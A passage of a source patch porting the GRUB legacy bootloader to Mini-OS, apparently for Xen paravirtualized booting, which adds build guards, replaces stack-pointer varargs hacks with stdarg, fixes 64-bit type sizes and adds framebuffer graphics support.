- #if defined(SUPPORT_SERIAL) || defined(SUPPORT_HERCULES) || defined(SUPPORT_GRAPHICS)
-@@ -4788,6 +4820,7 @@
- #endif /* SUPPORT_SERIAL */
- 	  
- 
-+#ifndef __MINIOS__
- /* testload */
- static int
- testload_func (char *arg, int flags)
-@@ -4874,8 +4907,10 @@
-   " consistent offset error. If this test succeeds, then a good next"
-   " step is to try loading a kernel."
- };
-+#endif
- 
- 
-+#ifndef __MINIOS__
- /* testvbe MODE */
- static int
- testvbe_func (char *arg, int flags)
-@@ -4979,6 +5014,7 @@
-   "testvbe MODE",
-   "Test the VBE mode MODE. Hit any key to return."
- };
-+#endif
- 
- 
- #ifdef SUPPORT_NETBOOT
-@@ -5075,6 +5111,7 @@
- };
- 
- 
-+#ifndef __MINIOS__
- /* uppermem */
- static int
- uppermem_func (char *arg, int flags)
-@@ -5095,8 +5132,10 @@
-   "Force GRUB to assume that only KBYTES kilobytes of upper memory are"
-   " installed.  Any system address range maps are discarded."
- };
-+#endif
- 
- 
-+#ifndef __MINIOS__
- /* vbeprobe */
- static int
- vbeprobe_func (char *arg, int flags)
-@@ -5203,6 +5242,7 @@
-   "Probe VBE information. If the mode number MODE is specified, show only"
-   " the information about only the mode."
- };
-+#endif
-   
- 
- /* The table of builtin commands. Sorted in dictionary order.  */
-@@ -5233,12 +5273,16 @@
- #ifdef SUPPORT_NETBOOT
-   &builtin_dhcp,
- #endif /* SUPPORT_NETBOOT */
-+#ifndef __MINIOS__
-   &builtin_displayapm,
-   &builtin_displaymem,
-+#endif
- #ifdef GRUB_UTIL
-   &builtin_dump,
- #endif /* GRUB_UTIL */
-+#ifndef __MINIOS__
-   &builtin_embed,
-+#endif
-   &builtin_fallback,
-   &builtin_find,
- #ifdef SUPPORT_GRAPHICS
-@@ -5253,10 +5297,14 @@
- #ifdef SUPPORT_NETBOOT
-   &builtin_ifconfig,
- #endif /* SUPPORT_NETBOOT */
-+#ifndef __MINIOS__
-   &builtin_impsprobe,
-+#endif
-   &builtin_initrd,
-+#ifndef __MINIOS__
-   &builtin_install,
-   &builtin_ioprobe,
-+#endif
-   &builtin_kernel,
-   &builtin_lock,
-   &builtin_makeactive,
-@@ -5283,11 +5331,13 @@
-   &builtin_root,
-   &builtin_rootnoverify,
-   &builtin_savedefault,
-+#ifndef __MINIOS__
- #ifdef SUPPORT_SERIAL
-   &builtin_serial,
- #endif /* SUPPORT_SERIAL */
-   &builtin_setkey,
-   &builtin_setup,
-+#endif
- #ifdef SUPPORT_GRAPHICS
-   &builtin_shade,
-   &builtin_splashimage,
-@@ -5298,16 +5348,20 @@
- #ifdef SUPPORT_SERIAL
-   &builtin_terminfo,
- #endif /* SUPPORT_SERIAL */
-+#ifndef __MINIOS__
-   &builtin_testload,
-   &builtin_testvbe,
-+#endif
- #ifdef SUPPORT_NETBOOT
-   &builtin_tftpserver,
- #endif /* SUPPORT_NETBOOT */
-   &builtin_timeout,
-   &builtin_title,
-   &builtin_unhide,
-+#ifndef __MINIOS__
-   &builtin_uppermem,
-   &builtin_vbeprobe,
-+#endif
- #ifdef SUPPORT_GRAPHICS
-   &builtin_viewport,
- #endif
-Index: grub/stage2/char_io.c
-===================================================================
---- grub.orig/stage2/char_io.c	2008-06-16 15:18:14.516009000 +0100
-+++ grub/stage2/char_io.c	2008-06-16 15:18:14.726009000 +0100
-@@ -20,6 +20,7 @@
- 
- #include <shared.h>
- #include <term.h>
-+#include <stdarg.h>
- 
- #ifdef SUPPORT_HERCULES
- # include <hercules.h>
-@@ -36,6 +37,7 @@
- #ifndef STAGE1_5
- struct term_entry term_table[] =
-   {
-+#ifdef SUPPORT_CONSOLE
-     {
-       "console",
-       0,
-@@ -52,6 +54,7 @@
-       0, 
-       0
-     },
-+#endif
- #ifdef SUPPORT_SERIAL
-     {
-       "serial",
-@@ -131,9 +134,9 @@
- }
- 
- char *
--convert_to_ascii (char *buf, int c,...)
-+convert_to_ascii (char *buf, int c, int _num)
- {
--  unsigned long num = *((&c) + 1), mult = 10;
-+  unsigned long num = _num, mult = 10;
-   char *ptr = buf;
- 
- #ifndef STAGE1_5
-@@ -182,11 +185,11 @@
- void
- grub_printf (const char *format,...)
- {
--  int *dataptr = (int *) &format;
-+  va_list ap;
-   char c, str[16];
--  
--  dataptr++;
- 
-+  va_start(ap, format);
-+  
-   while ((c = *(format++)) != 0)
-     {
-       if (c != '%')
-@@ -200,21 +203,32 @@
- 	  case 'X':
- #endif
- 	  case 'u':
--	    *convert_to_ascii (str, c, *((unsigned long *) dataptr++)) = 0;
-+	  {
-+	    unsigned i = va_arg(ap, unsigned);
-+	    *convert_to_ascii (str, c, i) = 0;
- 	    grub_putstr (str);
- 	    break;
-+          }
- 
- #ifndef STAGE1_5
- 	  case 'c':
--	    grub_putchar ((*(dataptr++)) & 0xff);
-+	  {
-+	    int c = va_arg(ap, int);
-+	    grub_putchar (c & 0xff);
- 	    break;
-+	  }
- 
- 	  case 's':
--	    grub_putstr ((char *) *(dataptr++));
-+	  {
-+	    char *s = va_arg(ap, char*);
-+	    grub_putstr (s);
- 	    break;
-+	  }
- #endif
- 	  }
-     }
-+
-+  va_end(ap);
- }
- 
- #ifndef STAGE1_5
-@@ -223,11 +237,11 @@
- {
-   /* XXX hohmuth
-      ugly hack -- should unify with printf() */
--  int *dataptr = (int *) &format;
-+  va_list ap;
-   char c, *ptr, str[16];
-   char *bp = buffer;
- 
--  dataptr++;
-+  va_start(ap, format);
- 
-   while ((c = *format++) != 0)
-     {
-@@ -237,20 +251,27 @@
- 	switch (c = *(format++))
- 	  {
- 	  case 'd': case 'u': case 'x':
--	    *convert_to_ascii (str, c, *((unsigned long *) dataptr++)) = 0;
-+	  {
-+	    unsigned i = va_arg(ap, unsigned);
-+	    *convert_to_ascii (str, c, i) = 0;
- 
- 	    ptr = str;
- 
- 	    while (*ptr)
- 	      *bp++ = *(ptr++); /* putchar(*(ptr++)); */
- 	    break;
-+	  }
- 
--	  case 'c': *bp++ = (*(dataptr++))&0xff;
-+	  case 'c':
-+	  {
-+	    int c = va_arg(ap, int);
-+	    *bp++ = c&0xff;
- 	    /* putchar((*(dataptr++))&0xff); */
- 	    break;
-+	  }
- 
- 	  case 's':
--	    ptr = (char *) (*(dataptr++));
-+	    ptr = va_arg(ap, char *);
- 
- 	    while ((c = *ptr++) != 0)
- 	      *bp++ = c; /* putchar(c); */
-@@ -258,6 +279,8 @@
- 	  }
-     }
- 
-+  va_end(ap);
-+
-   *bp = 0;
-   return bp - buffer;
- }
-@@ -1263,12 +1286,14 @@
-     return ! errnum;
- #endif /* GRUB_UTIL */
- 
-+#ifndef __MINIOS__
-   if ((addr < RAW_ADDR (0x1000))
-       || (addr < RAW_ADDR (0x100000)
- 	  && RAW_ADDR (mbi.mem_lower * 1024) < (addr + len))
-       || (addr >= RAW_ADDR (0x100000)
- 	  && RAW_ADDR (mbi.mem_upper * 1024) < ((addr - 0x100000) + len)))
-     errnum = ERR_WONT_FIT;
-+#endif
- 
-   return ! errnum;
- }
-@@ -1342,7 +1367,7 @@
- }
- #endif /* ! STAGE1_5 */
- 
--#ifndef GRUB_UTIL
-+#if !defined(GRUB_UTIL) && !defined(__MINIOS__)
- # undef memcpy
- /* GCC emits references to memcpy() for struct copies etc.  */
- void *memcpy (void *dest, const void *src, int n)  __attribute__ ((alias ("grub_memmove")));
-Index: grub/stage2/disk_io.c
-===================================================================
---- grub.orig/stage2/disk_io.c	2008-06-16 15:18:03.327932000 +0100
-+++ grub/stage2/disk_io.c	2008-06-16 15:18:14.733009000 +0100
-@@ -130,7 +130,14 @@
- static inline unsigned long
- log2 (unsigned long word)
- {
--  asm volatile ("bsfl %1,%0"
-+  asm volatile ("bsf"
-+#ifdef __i386__
-+		  "l"
-+#endif
-+#ifdef __x86_64__
-+		  "q"
-+#endif  
-+		  " %1,%0"
- 		: "=r" (word)
- 		: "r" (word));
-   return word;
-Index: grub/stage2/fsys_fat.c
-===================================================================
---- grub.orig/stage2/fsys_fat.c	2008-06-16 15:18:03.337934000 +0100
-+++ grub/stage2/fsys_fat.c	2008-06-16 15:18:14.737009000 +0100
-@@ -57,7 +57,14 @@
- static __inline__ unsigned long
- log2 (unsigned long word)
- {
--  __asm__ ("bsfl %1,%0"
-+  __asm__ ("bsf"
-+#ifdef __i386__
-+		  "l"
-+#endif
-+#ifdef __x86_64__
-+		  "q"
-+#endif
-+		  " %1,%0"
- 	   : "=r" (word)
- 	   : "r" (word));
-   return word;
-Index: grub/stage2/pc_slice.h
-===================================================================
---- grub.orig/stage2/pc_slice.h	2008-06-16 15:18:03.347932000 +0100
-+++ grub/stage2/pc_slice.h	2008-06-16 15:18:14.746009000 +0100
-@@ -38,50 +38,50 @@
-  */
- 
- #define PC_MBR_CHECK_SIG(mbr_ptr) \
--  ( *( (unsigned short *) (((int) mbr_ptr) + PC_MBR_SIG_OFFSET) ) \
-+  ( *( (unsigned short *) (((long) mbr_ptr) + PC_MBR_SIG_OFFSET) ) \
-    == PC_MBR_SIGNATURE )
- 
- #define PC_MBR_SIG(mbr_ptr) \
--  ( *( (unsigned short *) (((int) mbr_ptr) + PC_MBR_SIG_OFFSET) ) )
-+  ( *( (unsigned short *) (((long) mbr_ptr) + PC_MBR_SIG_OFFSET) ) )
- 
- #define PC_SLICE_FLAG(mbr_ptr, part) \
--  ( *( (unsigned char *) (((int) mbr_ptr) + PC_SLICE_OFFSET \
-+  ( *( (unsigned char *) (((long) mbr_ptr) + PC_SLICE_OFFSET \
- 			  + (part << 4)) ) )
- 
- #define PC_SLICE_HEAD(mbr_ptr, part) \
--  ( *( (unsigned char *) (((int) mbr_ptr) + PC_SLICE_OFFSET + 1 \
-+  ( *( (unsigned char *) (((long) mbr_ptr) + PC_SLICE_OFFSET + 1 \
- 			  + (part << 4)) ) )
- 
- #define PC_SLICE_SEC(mbr_ptr, part) \
--  ( *( (unsigned char *) (((int) mbr_ptr) + PC_SLICE_OFFSET + 2 \
-+  ( *( (unsigned char *) (((long) mbr_ptr) + PC_SLICE_OFFSET + 2 \
- 			  + (part << 4)) ) )
- 
- #define PC_SLICE_CYL(mbr_ptr, part) \
--  ( *( (unsigned char *) (((int) mbr_ptr) + PC_SLICE_OFFSET + 3 \
-+  ( *( (unsigned char *) (((long) mbr_ptr) + PC_SLICE_OFFSET + 3 \
- 			  + (part << 4)) ) )
- 
- #define PC_SLICE_TYPE(mbr_ptr, part) \
--  ( *( (unsigned char *) (((int) mbr_ptr) + PC_SLICE_OFFSET + 4 \
-+  ( *( (unsigned char *) (((long) mbr_ptr) + PC_SLICE_OFFSET + 4 \
- 			  + (part << 4)) ) )
- 
- #define PC_SLICE_EHEAD(mbr_ptr, part) \
--  ( *( (unsigned char *) (((int) mbr_ptr) + PC_SLICE_OFFSET + 5 \
-+  ( *( (unsigned char *) (((long) mbr_ptr) + PC_SLICE_OFFSET + 5 \
- 			  + (part << 4)) ) )
- 
- #define PC_SLICE_ESEC(mbr_ptr, part) \
--  ( *( (unsigned char *) (((int) mbr_ptr) + PC_SLICE_OFFSET + 6 \
-+  ( *( (unsigned char *) (((long) mbr_ptr) + PC_SLICE_OFFSET + 6 \
- 			  + (part << 4)) ) )
- 
- #define PC_SLICE_ECYL(mbr_ptr, part) \
--  ( *( (unsigned char *) (((int) mbr_ptr) + PC_SLICE_OFFSET + 7 \
-+  ( *( (unsigned char *) (((long) mbr_ptr) + PC_SLICE_OFFSET + 7 \
- 			  + (part << 4)) ) )
- 
- #define PC_SLICE_START(mbr_ptr, part) \
--  ( *( (unsigned long *) (((int) mbr_ptr) + PC_SLICE_OFFSET + 8 \
-+  ( *( (unsigned long *) (((long) mbr_ptr) + PC_SLICE_OFFSET + 8 \
- 			  + (part << 4)) ) )
- 
- #define PC_SLICE_LENGTH(mbr_ptr, part) \
--  ( *( (unsigned long *) (((int) mbr_ptr) + PC_SLICE_OFFSET + 12 \
-+  ( *( (unsigned long *) (((long) mbr_ptr) + PC_SLICE_OFFSET + 12 \
- 			  + (part << 4)) ) )
- 
- 
-Index: grub/stage2/shared.h
-===================================================================
---- grub.orig/stage2/shared.h	2008-06-16 15:18:14.537009000 +0100
-+++ grub/stage2/shared.h	2008-06-17 14:25:08.443906000 +0100
-@@ -39,6 +39,10 @@
- extern char *grub_scratch_mem;
- # define RAW_ADDR(x) ((x) + (int) grub_scratch_mem)
- # define RAW_SEG(x) (RAW_ADDR ((x) << 4) >> 4)
-+#elif defined(__MINIOS__)
-+extern char grub_scratch_mem[];
-+# define RAW_ADDR(x) ((x) + (int) grub_scratch_mem)
-+# define RAW_SEG(x) (RAW_ADDR ((x) << 4) >> 4)
- #else
- # define RAW_ADDR(x) (x)
- # define RAW_SEG(x) (x)
-@@ -707,7 +711,9 @@
- 
- /* Halt the system, using APM if possible. If NO_APM is true, don't use
-    APM even if it is available.  */
-+#ifndef __MINIOS__
- void grub_halt (int no_apm) __attribute__ ((noreturn));
-+#endif
- 
- /* Copy MAP to the drive map and set up int13_handler.  */
- void set_int13_handler (unsigned short *map);
-@@ -857,7 +863,8 @@
-   KERNEL_TYPE_BIG_LINUX,	/* Big Linux.  */
-   KERNEL_TYPE_FREEBSD,		/* FreeBSD.  */
-   KERNEL_TYPE_NETBSD,		/* NetBSD.  */
--  KERNEL_TYPE_CHAINLOADER	/* Chainloader.  */
-+  KERNEL_TYPE_CHAINLOADER,	/* Chainloader.  */
-+  KERNEL_TYPE_PV		/* Paravirtualized.  */
- }
- kernel_t;
- 
-@@ -890,7 +897,7 @@
- int grub_strlen (const char *str);
- char *grub_strcpy (char *dest, const char *src);
- 
--#ifndef GRUB_UTIL
-+#if !defined(GRUB_UTIL) && !defined(__MINIOS__)
- typedef unsigned long grub_jmp_buf[6];
- #else
- /* In the grub shell, use the libc jmp_buf instead.  */
-@@ -898,7 +905,7 @@
- # define grub_jmp_buf jmp_buf
- #endif
- 
--#ifdef GRUB_UTIL
-+#if defined(GRUB_UTIL) || defined(__MINIOS__)
- # define grub_setjmp	setjmp
- # define grub_longjmp	longjmp
- #else /* ! GRUB_UTIL */
-@@ -914,7 +921,7 @@
- /* misc */
- void init_page (void);
- void print_error (void);
--char *convert_to_ascii (char *buf, int c, ...);
-+char *convert_to_ascii (char *buf, int c, int num);
- int get_cmdline (char *prompt, char *cmdline, int maxlen,
- 		 int echo_char, int history);
- int substring (const char *s1, const char *s2);
-Index: grub/netboot/etherboot.h
-===================================================================
---- grub.orig/netboot/etherboot.h	2008-06-16 15:18:03.446934000 +0100
-+++ grub/netboot/etherboot.h	2008-06-16 15:18:14.760009000 +0100
-@@ -246,7 +246,7 @@
- 
- typedef struct
- {
--  unsigned long	s_addr;
-+  unsigned int	s_addr;
- }
- in_addr;
- 
-@@ -302,7 +302,7 @@
-   char bp_htype;
-   char bp_hlen;
-   char bp_hops;
--  unsigned long bp_xid;
-+  unsigned int bp_xid;
-   unsigned short bp_secs;
-   unsigned short unused;
-   in_addr bp_ciaddr;
-@@ -411,25 +411,25 @@
-     
-     struct
-     {
--      long id;
--      long type;
--      long rpcvers;
--      long prog;
--      long vers;
--      long proc;
--      long data[1];
-+      int id;
-+      int type;
-+      int rpcvers;
-+      int prog;
-+      int vers;
-+      int proc;
-+      int data[1];
-     }
-     call;
-     
-     struct
-     {
--      long id;
--      long type;
--      long rstatus;
--      long verifier;
--      long v2;
--      long astatus;
--      long data[1];
-+      int id;
-+      int type;
-+      int rstatus;
-+      int verifier;
-+      int v2;
-+      int astatus;
-+      int data[1];
-     }
-     reply;
-   }
-@@ -517,7 +517,9 @@
- 
- /* misc.c */
- extern void twiddle (void);
-+#ifndef __MINIOS__
- extern void sleep (int secs);
-+#endif
- extern int getdec (char **s);
- extern void etherboot_printf (const char *, ...);
- extern int etherboot_sprintf (char *, const char *, ...);
-Index: grub/stage2/common.c
-===================================================================
---- grub.orig/stage2/common.c	2008-06-16 15:18:03.366934000 +0100
-+++ grub/stage2/common.c	2008-06-16 15:18:14.764009000 +0100
-@@ -137,6 +137,7 @@
- }
- #endif /* ! STAGE1_5 */
- 
-+#ifndef __MINIOS__
- /* This queries for BIOS information.  */
- void
- init_bios_info (void)
-@@ -335,3 +336,4 @@
-   /* Start main routine here.  */
-   cmain ();
- }
-+#endif
-Index: grub/stage2/serial.c
-===================================================================
---- grub.orig/stage2/serial.c	2008-06-16 15:18:03.376934000 +0100
-+++ grub/stage2/serial.c	2008-06-16 15:18:14.769009000 +0100
-@@ -37,7 +37,7 @@
- 
- /* Hardware-dependent definitions.  */
- 
--#ifndef GRUB_UTIL
-+#if !defined(GRUB_UTIL) && !defined(__MINIOS__)
- /* The structure for speed vs. divisor.  */
- struct divisor
- {
-@@ -222,6 +222,8 @@
-       {('3' | ('~' << 8)), 4},
-       {('5' | ('~' << 8)), 7},
-       {('6' | ('~' << 8)), 3},
-+      {('7' | ('~' << 8)), 1},
-+      {('8' | ('~' << 8)), 5},
-     };
-   
-   /* The buffer must start with ``ESC [''.  */
-Index: grub/stage2/tparm.c
-===================================================================
---- grub.orig/stage2/tparm.c	2008-06-16 15:18:03.390933000 +0100
-+++ grub/stage2/tparm.c	2008-06-16 15:18:14.774010000 +0100
-@@ -48,6 +48,7 @@
- #include "shared.h"
- 
- #include "tparm.h"
-+#include <stdarg.h>
- 
- /*
-  * Common/troublesome character definitions
-@@ -320,7 +321,7 @@
- #define isLOWER(c) ((c) >= 'a' && (c) <= 'z')
- 
- static inline char *
--tparam_internal(const char *string, int *dataptr)
-+tparam_internal(const char *string, va_list ap)
- {
- #define NUM_VARS 26
-     char *p_is_s[9];
-@@ -461,9 +462,9 @@
- 	 * a char* and an int may not be the same size on the stack.
- 	 */
- 	if (p_is_s[i] != 0) {
--	  p_is_s[i] = (char *)(*(dataptr++));
-+	  p_is_s[i] = va_arg(ap, char *);
- 	} else {
--	  param[i] = (int)(*(dataptr++));
-+	  param[i] = va_arg(ap, int);
- 	}
-     }
- 
-@@ -716,11 +717,13 @@
- grub_tparm(const char *string,...)
- {
-     char *result;
--    int *dataptr = (int *) &string;
-+    va_list ap;
- 
--    dataptr++;
-+    va_start(ap, string);
- 
--    result = tparam_internal(string, dataptr);
-+    result = tparam_internal(string, ap);
-+
-+    va_end(ap);
- 
-     return result;
- }
-Index: grub/stage2/fsys_iso9660.c
-===================================================================
---- grub.orig/stage2/fsys_iso9660.c	2008-06-16 15:18:03.400933000 +0100
-+++ grub/stage2/fsys_iso9660.c	2008-06-16 15:18:14.779009000 +0100
-@@ -59,7 +59,14 @@
- static inline unsigned long
- log2 (unsigned long word)
- {
--  asm volatile ("bsfl %1,%0"
-+  asm volatile ("bsf"
-+#ifdef __i386__
-+		  "l"
-+#endif
-+#ifdef __x86_64__
-+		  "q"
-+#endif
-+		  " %1,%0"
- 		:          "=r" (word)
- 		:          "r" (word));
-   return word;
-Index: grub/stage2/fsys_reiserfs.c
-===================================================================
---- grub.orig/stage2/fsys_reiserfs.c	2008-06-16 15:18:03.410933000 +0100
-+++ grub/stage2/fsys_reiserfs.c	2008-06-20 18:33:52.002100000 +0100
-@@ -224,8 +224,8 @@
- 
- struct disk_child
- {
--  unsigned long       dc_block_number;              /* Disk child's block number. */
--  unsigned short      dc_size;		            /* Disk child's used space.   */
-+  __u32       dc_block_number;              /* Disk child's block number. */
-+  __u16      dc_size;		            /* Disk child's used space.   */
- };
- 
- #define DC_SIZE (sizeof (struct disk_child))
-@@ -369,7 +369,14 @@
- static __inline__ unsigned long
- log2 (unsigned long word)
- {
--  __asm__ ("bsfl %1,%0"
-+  __asm__ ("bsf"
-+#ifdef __i386__
-+		  "l"
-+#endif
-+#ifdef __x86_64__
-+		  "q"
-+#endif
-+		  " %1,%0"
- 	   : "=r" (word)
- 	   : "r" (word));
-   return word;
-Index: grub/netboot/misc.c
-===================================================================
---- grub.orig/netboot/misc.c	2008-06-16 15:18:03.456934000 +0100
-+++ grub/netboot/misc.c	2008-06-16 15:18:14.790009000 +0100
-@@ -21,7 +21,9 @@
- 
- #define GRUB	1
- #include <etherboot.h>
-+#include <stdarg.h>
- 
-+#ifndef __MINIOS__
- void
- sleep (int secs)
- {
-@@ -30,6 +32,7 @@
-   while (currticks () < tmo)
-     ;
- }
-+#endif
- 
- void
- twiddle (void)
-@@ -71,7 +74,7 @@
- 	Note: width specification not supported
- **************************************************************************/
- static int
--etherboot_vsprintf (char *buf, const char *fmt, const int *dp)
-+etherboot_vsprintf (char *buf, const char *fmt, va_list ap)
- {
-   char *p, *s;
-   
-@@ -86,7 +89,7 @@
-       
-       if (*++fmt == 's')
- 	{
--	  for (p = (char *) *dp++; *p != '\0'; p++)
-+	  for (p = va_arg(ap, char *); *p != '\0'; p++)
- 	    buf ? *s++ = *p : grub_putchar (*p);
- 	}
-       else
-@@ -121,11 +124,9 @@
- 	  if ((*fmt | 0x20) == 'x')
- 	    {
- 	      /* With x86 gcc, sizeof(long) == sizeof(int) */
--	      const long *lp = (const long *) dp;
--	      long h = *lp++;
-+	      long h = va_arg(ap, int);
- 	      int ncase = (*fmt & 0x20);
- 	      
--	      dp = (const int *) lp;
- 	      if (alt)
- 		{
- 		  *q++ = '0';
-@@ -136,7 +137,7 @@
- 	    }
- 	  else if (*fmt == 'd')
- 	    {
--	      int i = *dp++;
-+	      int i = va_arg(ap, int);
- 	      char *r;
- 	      
- 	      if (i < 0)
-@@ -171,10 +172,8 @@
- 		unsigned char	c[4];
- 	      }
- 	      u;
--	      const long *lp = (const long *) dp;
- 	      
--	      u.l = *lp++;
--	      dp = (const int *) lp;
-+	      u.l = va_arg(ap, int);
- 	      
- 	      for (r = &u.c[0]; r < &u.c[4]; ++r)
- 		q += etherboot_sprintf (q, "%d.", *r);
-@@ -184,7 +183,7 @@
- 	  else if (*fmt == '!')
- 	    {
- 	      char *r;
--	      p = (char *) *dp++;
-+	      p = va_arg(ap, char *);
- 	      
- 	      for (r = p + ETH_ALEN; p < r; ++p)
- 		q += etherboot_sprintf (q, "%hhX:", *p);
-@@ -192,7 +191,7 @@
- 	      --q;
- 	    }
- 	  else if (*fmt == 'c')
--	    *q++ = *dp++;
-+	    *q++ = va_arg(ap, int);
- 	  else
- 	    *q++ = *fmt;
- 	  
-@@ -211,13 +210,21 @@
- int
- etherboot_sprintf (char *buf, const char *fmt, ...)
- {
--  return etherboot_vsprintf (buf, fmt, ((const int *) &fmt) + 1);
-+  va_list ap;
-+  int ret;
-+  va_start(ap, fmt);
-+  ret = etherboot_vsprintf (buf, fmt, ap);
-+  va_end(ap);
-+  return ret;
- }
- 
- void
- etherboot_printf (const char *fmt, ...)
- {
--  (void) etherboot_vsprintf (0, fmt, ((const int *) &fmt) + 1);
-+  va_list ap;
-+  va_start(ap, fmt);
-+  etherboot_vsprintf (0, fmt, ap);
-+  va_end(ap);
- }
- 
- int
-Index: grub/netboot/main.c
-===================================================================
---- grub.orig/netboot/main.c	2008-06-16 15:18:03.470932000 +0100
-+++ grub/netboot/main.c	2008-06-16 15:18:14.797009000 +0100
-@@ -55,7 +55,7 @@
- static int vendorext_isvalid;
- static unsigned long netmask;
- static struct bootpd_t bootp_data;
--static unsigned long xid;
-+static unsigned int xid;
- 
- #define	BOOTP_DATA_ADDR	(&bootp_data)
- 
-@@ -778,7 +778,7 @@
- 
- 	      arpreply = (struct arprequest *) &nic.packet[ETH_HLEN];
- 	      
--	      if (arpreply->opcode == htons (ARP_REPLY)
-+	      if (arpreply->opcode == htons (ARP_REPLY) && ptr
- 		  && ! grub_memcmp (arpreply->sipaddr, ptr, sizeof (in_addr))
- 		  && type == AWAIT_ARP)
- 		{
-@@ -827,7 +827,7 @@
- 	    {
- 	      arpreply = (struct arprequest *) &nic.packet[ETH_HLEN];
- 	      
--	      if (arpreply->opcode == htons (RARP_REPLY)
-+	      if (arpreply->opcode == htons (RARP_REPLY) && ptr
- 		  && ! grub_memcmp (arpreply->thwaddr, ptr, ETH_ALEN))
- 		{
- 		  grub_memmove ((char *) arptable[ARP_SERVER].node,
-@@ -1135,7 +1135,7 @@
- long
- rfc2131_sleep_interval (int base, int exp)
- {
--  static long seed = 0;
-+  static unsigned seed = 0;
-   long q;
-   unsigned long tmo;
-   
-Index: grub/stage2/graphics.c
-===================================================================
---- grub.orig/stage2/graphics.c	2008-06-16 15:18:14.524009000 +0100
-+++ grub/stage2/graphics.c	2008-06-17 14:29:05.204328000 +0100
-@@ -30,7 +30,29 @@
- #include <shared.h>
- #include <graphics.h>
- 
-+#ifdef __MINIOS__
-+#include <stdint.h>
-+typedef uint8_t Bit8u;
-+#include <vgafonts.h>
-+#include <fbfront.h>
-+#include <malloc.h>
-+#define set_int1c_handler() (void)0
-+#define unset_int1c_handler() (void)0
-+static uint32_t *VIDEOMEM;
-+static struct fbfront_dev *fb_dev;
-+static uint32_t palette[17];
-+short cursorX, cursorY;
-+/* TODO: blink */
-+uint32_t cursorBuf32[16*8];
-+#define WIDTH 640
-+#define HEIGHT 480
-+#define DEPTH 32
-+#define RAMSIZE (WIDTH * HEIGHT * (DEPTH / 8))
-+#else
-+#define fbfront_update(dev, x, y, w, h) (void)0
- int saved_videomode;
-+#endif
-+
- unsigned char *font8x16;
- 
- int graphics_inited = 0;
-@@ -38,11 +60,15 @@
- 
- int shade = 1, no_cursor = 0;
- 
-+#ifdef __MINIOS__
-+uint32_t VSHADOW[RAMSIZE];
-+#else
- #define VSHADOW VSHADOW1
- unsigned char VSHADOW1[38400];
- unsigned char VSHADOW2[38400];
- unsigned char VSHADOW4[38400];
- unsigned char VSHADOW8[38400];
-+#endif
- 
- /* define the default viewable area */
- int view_x0 = 0;
-@@ -129,6 +155,8 @@
-     count_lines = k;
- 
-     no_scroll = 0;
-+
-+    fbfront_update(fb_dev, view_x0 * 8, view_y0 * 16, (view_x1 - view_x0) * 8, (view_y1 - view_y0) * 16);
- }
- 
- /* Set the splash image */
-@@ -154,17 +182,29 @@
- int graphics_init()
- {
-     if (!graphics_inited) {
-+#ifdef __MINIOS__
-+	VIDEOMEM = memalign(PAGE_SIZE, RAMSIZE);
-+	if (!(fb_dev = fb_open(VIDEOMEM, WIDTH, HEIGHT, DEPTH))) {
-+	    free(VIDEOMEM);
-+	    return 0;
-+	}
-+#else
-         saved_videomode = set_videomode(0x12);
-         if (get_videomode() != 0x12) {
-             set_videomode(saved_videomode);
-             return 0;
-         }
-+#endif
-         graphics_inited = 1;
-     }
-     else
-         return 1;
- 
-+#ifdef __MINIOS__
-+    font8x16 = vgafont16;
-+#else
-     font8x16 = (unsigned char*)graphics_get_font();
-+#endif
- 
-     /* make sure that the highlight color is set correctly */
-     graphics_highlight_color = ((graphics_normal_color >> 4) | 
-@@ -176,7 +216,11 @@
-         grub_printf("Failed to read splash image (%s)\n", splashimage);
-         grub_printf("Press any key to continue...");
-         getkey();
-+#ifdef __MINIOS__
-+	fb_close();
-+#else
-         set_videomode(saved_videomode);
-+#endif
-         graphics_inited = 0;
-         return 0;
-     }
-@@ -190,8 +234,13 @@
- void graphics_end(void)
- {
-     if (graphics_inited) {
-+#ifdef __MINIOS__
-+	fb_close();
-+	free(VIDEOMEM);
-+#else
-         unset_int1c_handler();
-         set_videomode(saved_videomode);
-+#endif
-         graphics_inited = 0;
-         no_cursor = 0;
-     }
-@@ -204,15 +253,19 @@
-     graphics_cursor(0);
- 
-     if (ch == '\n') {
-+	fbfront_update(fb_dev, cursorX, cursorY, 8, 16);
-         if (fonty + 1 < view_y1)
-             graphics_setxy(fontx, fonty + 1);
-         else
-             graphics_scroll();
-         graphics_cursor(1);
-+	fbfront_update(fb_dev, cursorX, cursorY, 8, 16);
-         return;
-     } else if (ch == '\r') {
-+	fbfront_update(fb_dev, cursorX, cursorY, 8, 16);
-         graphics_setxy(view_x0, fonty);
-         graphics_cursor(1);
-+	fbfront_update(fb_dev, cursorX, cursorY, 8, 16);
-         return;
-     }
- 
-@@ -224,6 +277,7 @@
-         text[fonty * 80 + fontx] |= 0x100;
- 
-     graphics_cursor(0);
-+    fbfront_update(fb_dev, cursorX, cursorY, 8, 16);
- 
-     if ((fontx + 1) >= view_x1) {
-         graphics_setxy(view_x0, fonty);
-@@ -232,13 +286,16 @@
-         else
-             graphics_scroll();
-         graphics_cursor(1);
-+	fbfront_update(fb_dev, cursorX, cursorY, 8, 16);
-         do_more ();
-         graphics_cursor(0);
-+	fbfront_update(fb_dev, cursorX, cursorY, 8, 16);
-     } else {
-         graphics_setxy(fontx + 1, fonty);
-     }
- 
-     graphics_cursor(1);
-+    fbfront_update(fb_dev, cursorX, cursorY, 8, 16);
- }
- 
- /* get the current location of the cursor */
-@@ -248,10 +305,12 @@
- 
- void graphics_gotoxy(int x, int y) {
-     graphics_cursor(0);
-+    fbfront_update(fb_dev, cursorX, cursorY, 8, 16);
- 
-     graphics_setxy(x, y);
- 
-     graphics_cursor(1);
-+    fbfront_update(fb_dev, cursorX, cursorY, 8, 16);
- }
- 
- void graphics_cls(void) {
-@@ -262,15 +321,21 @@
-     graphics_gotoxy(view_x0, view_y0);
- 
-     mem = (unsigned char*)VIDEOMEM;
-+#ifndef __MINIOS__
-     s1 = (unsigned char*)VSHADOW1;
-     s2 = (unsigned char*)VSHADOW2;
-     s4 = (unsigned char*)VSHADOW4;
-     s8 = (unsigned char*)VSHADOW8;
-+#endif
- 
-     for (i = 0; i < 80 * 30; i++)
-         text[i] = ' ';
-     graphics_cursor(1);
- 
-+#ifdef __MINIOS__
-+    memcpy(mem, VSHADOW, RAMSIZE);
-+    fbfront_update(fb_dev, 0, 0, 640, 480);
-+#else
-     BitMask(0xff);
- 
-     /* plane 1 */
-@@ -290,6 +355,7 @@
-     grub_memcpy(mem, s8, 38400);
- 
-     MapMask(15);
-+#endif
- 
-     if (no_cursor) {
-         no_cursor = 0;
